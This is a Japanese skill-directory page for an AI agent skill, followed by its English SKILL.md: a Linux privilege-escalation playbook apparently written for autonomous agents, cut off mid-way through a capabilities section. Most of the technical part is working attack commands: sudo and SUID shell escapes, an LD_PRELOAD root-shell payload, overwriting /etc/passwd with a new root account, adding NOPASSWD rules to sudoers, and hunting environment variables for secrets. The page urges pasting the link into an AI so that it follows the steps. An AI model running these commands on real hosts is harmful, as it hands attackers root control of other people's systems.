本文へスキップ
Skillpedia
セキュリティ6.5k · #14135

linux-privesc-enum

できること

このガイドは、Linuxの特権設定をレビューすべき順序を示します。弱い権限の設定を見つける必要があるシステム管理者と、許可を得たテスター向けです。

使う場面

  • ✓システム管理者が、Linuxサーバー上のsudoのルールと特別なファイル権限を確認したいとき。
  • ✓許可されたテストで、ローカルの特権設定のための構造化されたチェックリストが必要なとき。
  • ✓チームが、スケジュールされたジョブと書き込み可能なパスが安全かを確認したいとき。

スキルのリンク

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/linux-privesc-enum/SKILL.md

コピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。

使い方

いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。

貼り付け用メッセージ

このスキルを使って手伝ってください:https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/linux-privesc-enum/SKILL.md このリンクのSKILL.mdファイルを読んで、私の作業でその指示に従ってください。
こういうスキルを、AIが自分で見つけてくれたら?無料のSkillpedia MCPをインストール。1行で、作業の前に15,000+のスキルから探してくれます。1分でインストール →

AIへの頼み方の例

“Linuxサーバーの特権のレビューを、sudoのルールと特別な権限から始めて、順番に進めてください。”

毎週5つの新しいスキル。1分で読めます。

仕組み

エージェントは、ユーザーとシステムの詳細から、sudoのルール、特別な権限のファイル、スケジュールされたジョブ、書き込み可能なパスへと、順番に確認を進めます。見つかった弱い設定を、1つずつ記録します。

技術的な内容(元のSKILL.md)

作者による元のテキスト(英語)をGitHubからそのまま表示しています。

Linux Privilege Escalation — Systematic Enumeration Methodology

Grounded in autonomous privesc research (Happe & Cito, ESEC/FSE 2023 — hackingBuddyGPT) which empirically validated that ordered, phase-driven enumeration with state tracking outperforms ad hoc command execution. Follow phases in priority order; stop at first exploitable finding and validate before moving to the next phase.

Authorized use only. Run only on systems you own or have explicit written permission to test.


Phase 0 — Situational Awareness (always first)

Establish identity, OS, and architecture before anything else. Every later phase depends on this context.

# Identity
id; whoami; groups; cat /proc/$$/status | grep -E 'Uid|Gid|Groups'

# OS and kernel
uname -a
cat /etc/os-release 2>/dev/null || cat /etc/issue
cat /proc/version

# Environment
env | grep -iE 'path|home|sudo|pass|token|secret|key'
echo $PATH

# Network context (pivot potential)
ip addr show 2>/dev/null || ifconfig
ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null
cat /etc/hosts

# Running processes (spot root services)
ps auxf 2>/dev/null | grep -v '\[' | head -40

Phase 1 — Sudo (highest yield, lowest noise)

Sudo misconfigurations are the most common finding in CTFs and enterprise systems alike.

sudo -l 2>/dev/null
# Parse output carefully:
# (root) NOPASSWD: /usr/bin/vim       → vim -c ':!sh'
# (root) NOPASSWD: /usr/bin/python3   → python3 -c 'import os; os.system("/bin/bash")'
# (root) NOPASSWD: /usr/bin/find      → find / -exec /bin/sh \; -quit
# (root) NOPASSWD: /usr/bin/less      → less /etc/shadow  then: !sh
# (root) NOPASSWD: /usr/bin/awk       → awk 'BEGIN {system("/bin/sh")}'
# (root) NOPASSWD: /usr/bin/tar       → tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
# (root) NOPASSWD: /usr/bin/env       → env /bin/sh
# (root) NOPASSWD: /usr/bin/zip       → zip /tmp/x /tmp/x -T --unzip-command="sh -c /bin/sh"
# (root) NOPASSWD: /usr/bin/man       → man man  then: !sh
# (root) NOPASSWD: /usr/bin/ftp       → ftp  then: !sh
# (root) NOPASSWD: /bin/cp            → overwrite /etc/passwd or /etc/sudoers
# (root) NOPASSWD: /usr/bin/tee       → echo 'user ALL=(ALL) NOPASSWD: ALL' | sudo tee /etc/sudoers.d/pwned

GTFOBins lookup workflow

For any allowed binary, check https://gtfobins.github.io/#<binary>?sudo — filter for "sudo" column.

Sudo env_keep abuse

# If sudoers contains: Defaults env_keep += "LD_PRELOAD"
cat > /tmp/pe.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
void __attribute__((constructor)) init() {
    setuid(0); setgid(0);
    system("/bin/bash -p");
}
EOF
gcc -fPIC -shared -nostartfiles -o /tmp/pe.so /tmp/pe.c
sudo LD_PRELOAD=/tmp/pe.so <any_allowed_command>

Phase 2 — SUID / SGID Binaries

# Find all SUID binaries
find / -perm -4000 -type f 2>/dev/null | sort

# Find SGID binaries
find / -perm -2000 -type f 2>/dev/null | sort

# Quick cross-reference against known GTFOBins SUID list
KNOWN_SUID=(bash sh dash find python python3 perl ruby php node env vim vi nano nmap curl wget cp mv tee tar zip less more man ftp ssh socat strace tcpdump openssl)
for bin in "${KNOWN_SUID[@]}"; do
    find / -name "$bin" -perm -4000 2>/dev/null
done

Common SUID exploitation patterns

# bash / sh with SUID — direct root shell
/bin/bash -p          # -p preserves effective UID

# find
/usr/bin/find / -name "x" -exec /bin/bash -p \; -quit

# python3
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# perl
/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'

# vim / vi
/usr/bin/vim -c ':python3 import os; os.setuid(0); os.execl("/bin/bash","bash","-p")'
# or simply:
/usr/bin/vim -c ':!bash -p'

# nmap (< 5.21 with --interactive)
/usr/bin/nmap --interactive   # then: !sh

# cp — overwrite /etc/passwd
openssl passwd -1 -salt salt hackme        # get hash
echo 'root2:$1$salt$<hash>:0:0:root:/root:/bin/bash' >> /tmp/newpasswd
/usr/bin/cp /tmp/newpasswd /etc/passwd
su root2  # password: hackme

# env
/usr/bin/env /bin/bash -p

# tee — append to sudoers
echo 'www-data ALL=(ALL) NOPASSWD: ALL' | /usr/bin/tee -a /etc/sudoers

Phase 3 — Linux Capabilities

Capabilities are frequently overlooked and often not caught by basic linPEAS runs on hardened systems.

getcap -r / 2>/dev/null
# High-value capabilities:
# cap_setuid+ep   → direct UID 0
# cap_setgid+ep   → direct GID 0
# cap_dac_read_search+ep → re
よくある質問

なぜ決まった順序に従うのですか?

ガイドによると、順序立てたチェックはランダムなコマンドより信頼でき、最初に見つかった実際の問題を確認してから次に進むためです。

sudoの誤設定とは何ですか?

利用者が、悪用されうる形でrootとしてプログラムを実行できてしまう状態です。

誰が実行すべきですか?

自分が所有する、またはテストを許可されたシステムに対する、管理者と許可を得たテスターです。

詳細

作者による元の説明

Systematic Linux privilege-escalation enumeration methodology — ordered phases covering sudo, SUID/SGID, capabilities, cron, writable paths, NFS, kernel CVEs, and GTFOBins lookup, grounded in LLM-assisted autonomous privesc research (hackingBuddyGPT/ipa-lab).

repo: BitterSecurity/Decepticon

人気

GitHubのスター
6.5k
ランキング
#14135
ライセンス
Apache-2.0
更新日
2026/11/1

このスキルは役に立ちますか?

0

ログイン して投票しましょう。

コメント

  • …

このリポジトリの他のスキル

似ているスキル